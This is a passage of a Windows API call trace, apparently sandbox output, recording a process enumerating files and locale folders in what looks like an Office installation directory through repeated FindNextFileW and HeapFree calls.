ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0103.816] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.817] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0103.918] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.918] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0103.920] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.920] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0103.922] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.922] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0103.924] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.924] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0103.937] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.937] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0103.939] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.939] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0103.941] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.941] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0103.942] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.942] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0103.946] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.946] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0103.952] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.952] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0103.954] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.954] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0103.970] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.970] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0103.972] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.972] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0103.973] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.973] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0103.984] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.985] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0103.988] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.988] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0104.257] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.257] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0104.259] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.259] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0104.260] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.260] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0104.262] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.262] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0104.264] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.264] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0104.266] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.266] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0104.267] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.267] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0104.270] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.270] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0104.272] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.272] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0104.274] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.274] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0104.276] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.276] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0104.278] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.278] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0104.280] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.280] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.281] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0104.283] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.283] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0104.285] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.285] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0104.288] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.288] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0104.289] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.289] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0104.291] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.291] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0104.291] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0104.291] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.291] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0104.292] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0104.292] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0104.293] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0104.296] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0104.296] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, 